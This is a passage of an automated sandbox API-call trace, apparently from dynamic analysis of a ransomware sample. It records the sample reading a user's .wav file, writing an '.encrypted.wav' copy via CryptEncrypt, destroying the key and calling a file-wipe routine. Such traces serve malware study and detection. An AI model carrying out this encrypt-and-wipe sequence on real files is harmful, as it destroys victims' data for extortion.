wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.185] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.185] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.185] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.185] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.185] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\N4RwM_lBui1y47yE.wav" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q\\n4rwm_lbui1y47ye.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0027.185] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.185] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0027.185] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.185] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.185] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.186] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q")) returned 0x10 [0027.186] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\N4RwM_lBui1y47yE.encrypted.wav" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q\\n4rwm_lbui1y47ye.encrypted.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0027.186] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.186] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.186] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.186] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.188] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0027.188] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0027.189] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x64bc, lpOverlapped=0x0) returned 1 [0027.189] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0027.192] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.192] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.192] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.192] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0027.193] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.193] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.193] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0027.193] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.193] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0027.193] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.193] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.194] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.194] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0027.194] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.194] CryptGetKeyParam (in: hKey=0xe8f4062330, dwParam=0x7, pbData=0xe8f4064d00, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064d00*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0027.194] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.194] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.194] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.194] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.194] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.194] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.194] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.194] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.194] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.194] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.194] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.194] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.194] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.194] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.195] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.195] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.195] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.195] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.195] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.195] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.195] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.195] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.195] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.195] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.197] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.197] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x164bc, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x164c0) returned 1 [0027.197] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.197] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.197] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.197] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.197] CharLowerBuffW (in: lpsz="byte[91329]", cchLength=0xb | out: lpsz="byte[91329]") returned 0xb [0027.197] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.199] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.199] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.199] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.201] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.201] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f6000080*, pdwDataLen=0xe8f3dfdf68*=0x164bc, dwBufLen=0x164c0 | out: pbData=0xe8f6000080*, pdwDataLen=0xe8f3dfdf68*=0x164c0) returned 1 [0027.201] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.201] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.201] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.202] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.202] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.202] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.202] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.202] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.202] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.202] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.202] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.202] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.202] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.202] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.202] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.202] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.202] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.207] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.208] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.208] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.210] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.210] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.210] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0027.210] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.210] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.210] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0027.210] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.210] CryptDestroyKey (hKey=0xe8f4062330) returned 1 [0027.210] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.210] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.210] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.210] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.210] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.210] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0027.210] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0027.210] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.210] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.210] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0027.210] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.210] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.210] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.210] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.210] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.210] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.210] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.211] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.211] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.211] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.211] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.211] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.211] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0027.211] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.211] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.211] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.211] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.211] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.211] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.211] CryptReleaseContext (hProv=0xe8f4063410, dwFlags=0x0) returned 1 [0027.211] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.211] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.211] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.211] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.211] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.211] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.211] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.213] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.214] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.214] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0027.214] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.214] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.214] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.214] CharLowerBuffW (in: lpsz="byte[91324]", cchLength=0xb | out: lpsz="byte[91324]") returned 0xb [0027.216] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, 